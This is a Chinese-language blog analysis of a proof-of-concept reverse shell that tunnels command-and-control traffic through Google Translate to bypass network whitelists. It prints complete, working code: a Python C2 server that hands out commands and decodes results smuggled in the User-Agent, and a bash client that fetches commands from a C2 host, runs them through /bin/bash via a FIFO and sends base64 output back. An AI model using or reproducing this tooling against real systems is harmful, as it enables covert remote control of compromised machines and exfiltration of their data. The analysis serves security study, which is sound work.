Google Translator Reverse Shell 是國外安全研究人員 Matheus Bernardes 在近期發現的,Poc地址: github.com/mthbernarde…。html
在具體介紹漏洞以前,咱們先介紹一下常規的 Reverse Shell 設受感染計算機爲 T,攻擊者爲 A ,在常規狀況下,經過植入惡意腳本,可讓 T 不斷向 A 發送請求,從 A 獲取命令執行,而且在下一次請求時附帶上次命令執行的結果,過程以下圖所示。python
這是一個典型的 Reverse Shell,受害者不斷請求攻擊者獲取命令,而且在請求時附帶上次命令的執行結果。但這種 Reverse Shell 有一個限制,那就是當 Infect Target 採用了白名單機制時,就沒法鏈接到 Attacking Machine 了。linux
Matheus Bernardes 提出的 Google Translator Reverse Shell 漏洞則是巧妙的利用了 Google Translator 服務,讓 Infect Machine 經過使用 Google Translator 做爲代理訪問 Attacking Machine。git
Google Translator 是Google提供的在線翻譯服務,衆所周知的是它能將A語言翻譯爲B語言,但它還有個較爲小衆的功能是翻譯特定網站的內容,使用方式爲https://translate.google.com/translate?anno=2&u=<site url>
,最後的 u 參數即爲要翻譯的網站所對應的 url,例如咱們傳入baidu的url,能夠看到 Google Translator 將 Baidu 的整站內容進行了翻譯。github
更爲重要的是,對要翻譯的網站發起請求並不是在瀏覽器端完成,而是在Google的Translate服務中完成,利用這一特性,咱們能夠將Google Translator做爲代理,去訪問任意網站。web
設想一種狀況,Infect Machine 的白名單中極可能包含了 Google 全域,在這種狀況下咱們可讓 Infect Machine 先鏈接到 Google Translator,而後以此爲代理去訪問 Attacking Machine 的服務,過程以下圖所示。shell
由上圖可見,Infect Target 經過 Google Translator 翻譯 Attacking Machine 提供的網頁從而獲取 command,而且在下一次執行翻譯時,將上次命令的執行結果做爲 query 參數傳遞。瀏覽器
下面分析一下 Poc 中的具體代碼邏輯,漏洞包含須要植入 Infect Target 的 client.sh 腳本 以及 Attacking Maching 的 Server 端腳本 server.py,咱們先分析較爲簡單地 server.py。安全
根據上面的分析,Server 端的主要任務是不斷處理從 Google Translator 發來的請求,提取其中的命令結果,並將下一條要執行的命令做爲響應返回,Matheus Bernardes 給出的方案是一個交互式的簡易服務端,在請求到達時會開啓一個輸入緩衝區並掛起請求,當 Attacking Machine 端的攻擊者輸入要返回的內容後,請求繼續執行,以響應的形式返回輸入的內容,完整代碼以下。bash
#!/usr/bin/python
from uuid import uuid4
from urlparse import urlparse, parse_qs
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
serverPort = 80
secretkey = str(uuid4())
class webServer(BaseHTTPRequestHandler):
def do_GET(self,):
# 因爲GET請求限制了參數長度,這裏巧妙地利用了UA來傳遞命令執行的結果
# Google Translator會將Infect Target的請求UA轉發到Attacking Machine
useragent = self.headers.get('User-Agent').split('|')
# 解析query data
querydata = parse_qs(urlparse(self.path).query)
# 這裏採用了uuid認證機制,保證到達Attacking Machine的請求源頭來自指定的Infect Target
if 'key' in querydata:
if querydata['key'][0] == secretkey:
# 只有uuid匹配才能繼續執行
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
# 若是UA中包含了命令的返回值,說明此次請求僅用於返回上次命令的執行結果
if len(useragent) == 2:
# 從UA中提取命令的結果,並將其打印出來,Infect Target在傳輸時使用了base64編碼,這裏進行解碼
response = useragent[1].split(',')[0]
print(response.decode("base64"))
# UA包含命令返回值時,返回空響應,即不執行命令
self.wfile.write("")
return
# 若是UA中沒有命令返回值,則說明此次請求用於接收命令,要求用戶在shell輸入內容,並掛起請求
cmd = raw_input("$ ")
# 用戶輸入命令後,將其做爲響應返回
self.wfile.write("{}".format(cmd))
return
# uuid匹配失敗,返回404錯誤
self.send_response(404)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write("Not Found")
return
def log_message(self, format, *args):
return
try:
server = HTTPServer(("", serverPort), webServer)
print("Server running on port: {}".format(serverPort))
print("Secret Key: {}".format(secretkey))
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()
複製代碼
這裏有三個要點:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
,在這種狀況下,服務端應當返回命令內容。Raw UA
,另外一部分則是命令執行結果的 base64 形式,二者用|
鏈接,形如User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 |base64(cmd_result)
根據上文的分析,Client端主要有兩個任務,其一是接收命令,其二是返回結果,兩個任務都經過向 Google Translator 發送請求來完成,在介紹代碼前,先介紹一下linux中的 FIFO 管道。
在Linux中有一個mkfifo命令,可以生成一個 FIFO 管道文件,當 FIFO 中沒有內容時,對 FIFO 的讀寫都會形成阻塞,下面舉一個簡單例子。
# 建立一個FIFO
>> mkfifo log.pipe
# 從FIFO讀內容,因爲FIFO爲空,讀被阻塞,等待內容被寫入
>> cat log.pipe
# 新開啓一個Shell Session,向FIFO寫入內容
>> echo 'hello' > log.pipe
# 會發現阻塞讀的Shell Session返回了,內容爲 hello
>> cat log.pipe
hello
複製代碼
反過來,若是一個Shell Session向一個未被阻塞讀的FIFO中寫內容,也會被阻塞,待有人讀取時,讀取者會當即收到內容,寫阻塞的Session也會正常返回。
經過實驗能夠發現,FIFO 管道有如下特性:
利用這些特性,FIFO 管道能夠做爲進程間通訊的工具,在本文介紹的 Poc 中,利用 FIFO 管道優雅的控制了命令的執行與結果的回寫,關鍵代碼以下。
input="/tmp/input"
output="/tmp/output"
mkfifo "$input"
tail -f "$input" | /bin/bash 2>&1 > $output &
複製代碼
第一句創建了一個 input FIFO,用於接收命令,第二句利用 tail -f 不間斷讀取 input FIFO,便可不斷的消費被生成出來的命令,命令經過管道傳遞給 /bin/bash 執行,這裏的2>&1
是指將標準錯誤輸出stderr:2
重定向到標準輸出stdout:1
,即將命令的全部返回結果所有以標準輸出形式表達,最後將命令的執行結果寫入 output 文件。
利用 FIFO,可以將命令的執行和結果獲取與 client.sh 的其餘邏輯解耦,在 client.sh 獲取到命令後,只須要經過寫入 input FIFO 便可執行,隨後即可以從 output 文件獲取到命令執行的內容,很是的巧妙。
下面咱們分析 client.sh 的完整代碼。
#!/bin/bash
# 這裏要求在調用client.sh時提供兩個參數,分別是server地址和通訊憑證
if [[ $# < 2 ]];then
echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n"
exit
fi
running=true
secretkey="$2"
user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
c2server="http://$1/?key=$secretkey"
result=""
input="/tmp/input"
output="/tmp/output"
# 上文中分析的命令執行和結果存儲的關鍵代碼
function namedpipe(){
rm "$input" "$output"
mkfifo "$input"
tail -f "$input" | /bin/bash 2>&1 > $output &
}
function getfirsturl(){
# 首次請求,要求Google Translator翻譯server內容,這裏Google Translator會給出一個iframe,並提供一個確認連接,詢問是否要翻譯server的內容
# 下面的代碼將curl請求的響應中iframe的src分離出來,用於後續請求iframe內容
url="https://translate.google.com/translate?&anno=2&u=$c2server"
first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g' )
}
function getsecondurl(){
# 二次請求,請求Google Translator提供的iframe src,iframe中包含了待翻譯網站的重定向連接,此次請求提取到了翻譯server內容結果頁的真實url
second=$(curl --silent -L "$first" -H "$user_agent" | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')
}
function getcommand(){
# 從二次請求得到的url繼續請求,便可得到server的內容
# 若是命令執行結果result不爲空,則在請求時在UA中附帶result
if [[ "$result" ]];then
command=$(curl --silent $second -H "$result" )
else
command=$(curl --silent $second -H "$user_agent" )
# 從翻譯結果中提取命令內容
command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
command2=$(echo "$command" | xmllint --html --xpath '//body/text()' - 2>/dev/null)
if [[ "$command1" ]];then
command="$command1"
else
command="$command2"
fi
fi
}
# 一個完整的請求交互流程
function talktotranslate(){
getfirsturl
getsecondurl
getcommand
}
function main(){
# 一輪Reverse Shell交互循環
result=""
# 經過一個請求交互流程去獲取命令
talktotranslate
if [[ "$command" ]];then
# 執行命令,發現是exit則退出循環
if [[ "$command" == "exit" ]];then
running=false
fi
# 清空結果文件
echo -n > $output
# 將命令寫入 input FIFO,根據上文分析,命令會自動經過/bin/bash執行
echo "$command" > "$input"
# 等待命令執行結束
sleep 2
# 從output獲取命令執行結果,並進行base64編碼
outputb64=$(cat $output | tr -d '\000' | base64 | tr -d '\n' 2>/dev/null)
if [[ "$outputb64" ]];then
# 將結果寫入UA,併發送一個返回命令執行結果的請求
result="$user_agent|$outputb64"
talktotranslate
fi
fi
}
# 首先開啓 FIFO
namedpipe
# 不斷循環交互過程,實現Reverse Shell
while "$running";do
main
done
複製代碼
client.sh 的邏輯很是清晰,惟一比較複雜的內容是從 Google Translator 的結果中提取翻譯結果,因爲 Google 會先顯示一個iframe詢問用戶是否真的要翻譯 server 內容,並提供了一個重定向連接。所以爲了獲取到這個重定向連接,必須先從主站獲取 iframe 的 src,即getfirsturl
,隨後請求iframe,並從中獲取到重定向連接,即getsecondurl
,這時候才能從重定向連接中真正請求到被翻譯內容。
Matheus Bernardes 給出了一種突破網站白名單限制實現Reverse Shell的思路,很是tricky地利用了Google Translator的特性,這裏不由引發思考,Google爲什麼不將 Translator 的網站請求放到瀏覽器中完成,這樣不只可以下降 Google 的成本,並且可以避免被用做代理完成相似的操做。